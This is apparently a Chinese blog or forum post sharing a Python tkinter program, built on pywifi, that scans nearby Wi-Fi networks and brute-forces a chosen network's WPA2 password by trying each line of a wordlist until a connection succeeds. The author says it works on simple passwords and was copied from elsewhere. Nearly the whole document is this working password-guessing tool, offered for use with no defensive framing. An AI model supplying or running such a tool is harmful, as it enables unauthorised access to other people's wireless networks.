简单的密码,还可以,复杂的密码基本没戏,代码是从别的地方复制过来的。

# coding:utf-8
from tkinter import *
from tkinter import ttk  
import pywifi
from pywifi import const
import time
import tkinter.filedialog
import tkinter.messagebox


class WiFiCracker:
    def __init__(self):
        self.wifi = pywifi.PyWiFi()  #抓取网卡接口
        self.iface = self.wifi.interfaces()[0] #抓取第一个无线网卡
        self.iface.disconnect()  #测试链接断开所有链接
        time.sleep(1)  #休眠1秒
        assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    def scan_wifi_list(self):
        print("^_^ 开始扫描附近wifi...")
        self.iface.scan()
        time.sleep(15)
        scanres = self.iface.scan_results()
        nums = len(scanres)
        print("数量: %s"%(nums))
        return scanres

    def connect_wifi(self, pwd_str, wifi_ssid):
        profile = pywifi.Profile()
        profile.ssid = wifi_ssid
        profile.auth = const.AUTH_ALG_OPEN
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        profile.cipher = const.CIPHER_TYPE_CCMP
        profile.key = pwd_str
        self.iface.remove_all_network_profiles()
        tmp_profile = self.iface.add_network_profile(profile)
        self.iface.connect(tmp_profile)
        time.sleep(5)
        is_ok = self.iface.status() == const.IFACE_CONNECTED
        self.iface.disconnect()
        time.sleep(1)
        assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
        return is_ok


class GUI:
    def __init__(self):
        self.cracker = WiFiCracker()
        self.root = Tk()
        self.root.title("WiFi获取工具")
        self.root.geometry('+500+200')

        # 定义搜索wifi的frame
        scan_frame = LabelFrame(self.root, width=400, height=50, text="搜索附近WiFi")
        scan_frame.pack(side=TOP, padx=10, pady=10)
        Button(scan_frame, text="搜索", command=self.scan_wifi).pack(side=LEFT, padx=10, pady=10)

        # 定义选择密码文件的frame
        mm_file_frame = LabelFrame(self.root, width=400, height=50, text="添加密码文件目录")
        mm_file_frame.pack(side=TOP, padx=10, pady=10)
        self.filename_text = StringVar()
        Entry(mm_file_frame, width=12, textvariable=self.filename_text).pack(side=LEFT, padx=10, pady=10)
        Button(mm_file_frame, text="浏览", command=self.select_mm_file).pack(side=LEFT, padx=10, pady=10)

        # 定义WiFi列表的frame
        wifi_list_frame = LabelFrame(self.root, width=400, height=200, text="WiFi列表")
        wifi_list_frame.pack(side=TOP, padx=10, pady=10)
        self.wifi_tree = ttk.Treeview(wifi_list_frame, show="headings", columns=("a", "b", "c", "d"))
        self.vbar = ttk.Scrollbar(wifi_list_frame, orient=VERTICAL, command=self.wifi_tree.yview)
        self.wifi_tree.configure(yscrollcommand=self.vbar.set)

        # 表格的标题
        self.wifi_tree.column("a", width=50, anchor="center")
        self.wifi_tree.column("b", width=100, anchor="center")
        self.wifi_tree.column("c", width=100, anchor="center")
        self.wifi_tree.column("d", width=100, anchor="center")
        self.wifi_tree.heading("a", text="WiFiID")
        self.wifi_tree.heading("b", text="SSID")
        self.wifi_tree.heading("c", text="BSSID")
        self.wifi_tree.heading("d", text="Signal")
        self.wifi_tree.pack(side=LEFT, fill=BOTH, expand=YES)
        self.vbar.pack(side=LEFT, fill=Y)

        # 定义WiFi账号和密码的frame
        wifi_mm_frame = LabelFrame(self.root, width=400, height=50, text="WiFi账号和密码")
        wifi_mm_frame.pack(side=TOP, padx=10, pady=10)
        self.wifi_text = StringVar()
        self.wifi_mm_text = StringVar()
        Entry(wifi_mm_frame, width=12, textvariable=self.wifi_text).pack(side=LEFT, padx=10, pady=10)
        Entry(wifi_mm_frame, width=10, textvariable=self.wifi_mm_text).pack(side=LEFT, padx=10, pady=10)
        Button(wifi_mm_frame, text="开始获取", command=self.start_crack).pack(side=LEFT, padx=10, pady=10)

    def scan_wifi(self):
        for item in self.wifi_tree.get_children():
            self.wifi_tree.delete(item)
        scans_res = self.cracker.scan_wifi_list()
        for index, wifi_info in enumerate(scans_res):
            self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))

    def select_mm_file(self):
        filename = tkinter.filedialog.askopenfilename()
        self.filename_text.set(filename)

    def start_crack(self):
        get_filepath = self.filename_text.get()
        get_wifissid = self.wifi_text.get()
        pwd_file_handler = open(get_filepath, "r", errors="ignore")
        while True:
            try:
                pwd_str = pwd_file_handler.readline()
                if not pwd_str:
                    break
                is_found = self.cracker.connect_wifi(pwd_str, get_wifissid)
                if is_found:
                    res = "===正确===  WiFi名:%s  匹配密码:%s"%(get_wifissid, pwd_str)
                    tkinter.messagebox.showinfo('提示', '获取成功!!!')
                    print(res)
                    break
                else:
                    res = "---错误--- WiFi名:%s匹配密码:%s"%(get_wifissid, pwd_str)
                    print(res)
                time.sleep(3)
            except:
                continue

    def start(self):
        self.root.mainloop()


if __name__ == '__main__':
    gui = GUI()
    gui.start()